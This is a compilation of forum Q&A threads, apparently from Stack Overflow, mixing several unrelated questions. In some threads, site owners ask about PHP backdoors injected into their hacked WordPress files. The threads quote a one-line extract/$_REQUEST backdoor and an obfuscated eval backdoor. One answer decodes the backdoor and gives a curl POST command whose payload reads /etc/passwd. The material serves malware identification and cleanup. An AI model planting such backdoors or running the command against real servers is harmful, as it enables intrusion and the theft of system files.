I had this code appear on ALL my php pages. on top line.
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I have subdomains that had wordpress installed and some that didn't. It effected all sites?
I was able to restore my non wordpress subs. Anyclue what this is and how I can prevent in the future.
Thanks in advance.
That looks a lot like the obfuscated malicious code that I found in my own Wordpress site. Maybe consider these steps http://codex.wordpress.org/FAQ_My_site_was_hacked.
Try running the full code through this decoder http://ddecode.com/phpdecoder/ or scanning your site with the free Sucuri SiteCheck. You could also upload one of those files to https://www.virustotal.com.
btw, I have no affiliation with either of these sites. I only found them useful in my own situation.
Good luck!
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Any help is very appreciated.
Short story:
I would like some help trying to understand what this line of code is intended to do.
extract($_REQUEST)&&#$shall(stripslashes($shall))&&exit;
I deciphered most of it except the $shall part. $shall does not appear anywhere else and I did not go into details of reading WordPress code.
The line appeared in the below files as the first line right after <?php
Long story:
I have a site that runs on WordPress and it randomly broke with errors in 2 WordPress files. The filenames are
.../wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php
.../wp-includes/blocks/block.php
It is not present in WordPress GitLab file versions. We did not initiate any WordPress updates, etc. I commented out the line in both files and all is back to normal.
Any ideas as to how/why/for what purpose this line would appear there?
If ($_REQUEST['shall']="something") then $shall will equal string 'something' after the extract part. If there's a function called something it will execute. So basically all wordpress functions are available for this script. This is a back door for a malware no doubt. Not good.
Search in google found record of the file name somewhere, however before you remove it be ready for it to re-appear if you haven't fixed your vulnerabilities.
I have a Laravel site.
While I use site::http://lasermedicalbd.com/ I have got a search result like below image.
Here are lots of meta keyword with different languages those I am not using for my website.
I can't understand why and how those coming. I am worried about my website security. Is it some kind of hacking issue or malware problem?
Though I have already checked my site with two below tools for malware checking.
https://sitecheck.sucuri.net/results/lasermedicalbd.com
https://sg.godaddy.com/web-security/website-security-check/results?site=http%3A%2F%2Flasermedicalbd.com%2F
But nothing found.
Anybody Help Please? How can I remove or avoid these? Thanks in advance.
Please help, I'm going crazy.
I added a user snippet to help me add opening PHP tags a long time ago. Now, I can't get rid of it. I have uninstalled vs code several times, deleted known vs code folders including the whole %home%\.vscode folder and the %appdata%\roaming\code folder.
I have used advanced installer to clean up program residue files, yet, this snippet appears every time.
The crazy thing is, if I switch to my administrator account, the snippet doesn't exist but I do all my coding on my windows standard user account. It's driving me crazy!!
What do I do?
See screenshot below.
PHP snippet
This is not a snippet: Types of Completions.
One of my site was hacked last night and some porno content was placed on my site.
What I have done:
I have removed manually the adult content from site by using FTP.
My website is up now and working fine. But, still I am able to find some code in my plugin and theme files. Which was not written by me, Code is as below:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n842e1c'];
if(isset($s22))
{
eval($s21($s22));
}
?>
What my queries are:
What this code stands for, what is this doing?
Is this harmful?
Should I remove this code from my files?
Is this will make any effect on my site if removed?
Other Code Suggestions Required:
This sort of code is available in 100+ files. Is there any method to remove code from all files in once? Or any method to keep code and just make it disinfect? so, it will save my time to remove code manually from too much files.
What this code stands for, what is this doing?
This code is a backdoor which can be used by an attacker to execute arbitrary code. This is what the code intends to do.
<?php
eval( base64_decode( $_POST['n842e1c'] ) );
An attacker can make a post request to this file with his encoded payload in POST parameter n842e1c and execute PHP code.
Example:
curl -X POST -d "n842e1c=ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs=" http://PATH_TO_THIS_FILE
Here this ZWNobyByZWFkZmlsZSgnL2V0Yy9wYXNzd2QnKTs= is the BASE64 encoded string of echo readfile('/etc/passwd');.
Is this harmful?
Yes
Should I remove this code from my files?
Yes
Will this make any effect on my site if removed?
No
Here are some tips to help you clean the website. Also, follow this official post by wordpress to take necessary steps.
It's a backdoor, taking a POST parameter named n842e1c and execute it. Instruction is encoded as Base64.
It is.
You should immediately.
Nothing, remove it asap.
Maybe re-install wordpress, or you could quickly develop a script in python (or something else) to remove this string from your files.
PHP eval is dangerous.
It basically executes the code within it's function. So you must remove it if you are not sure of it's use in your website.
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
Source
You can not disable it directly so the only choice is you remove the code from all the files.
Try installing these free plugins on your Website.
Sucuri WordPress Auditing and Theme Authenticity Checker (TAC).
Follow below URLs to get some help.
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
http://www.wpbeginner.com/beginners-guide/beginners-step-step-guide-fixing-hacked-wordpress-site/
Do you know of any websites that allow users to share there custom PHP functions and code snippets other then? It would be nice to compile a list of a few good resources
http://www.phpclasses.org
Might be obvious to some, but don't forget to include http://pear.php.net/ in your list. ;-)
There is Snipplr.com - A public source code repository for sharing code snippets.
Back in the day when I built some PHP3 sites,
PHP Builder was the place to go. They are still live, but URL shows a number instead of domain name :)
http://63.236.73.209/snippet/
Hot Scripts is one of the biggest sites to my knowledge. There is commercial and free code (easily sortable).
And you should probably make this Community Wiki.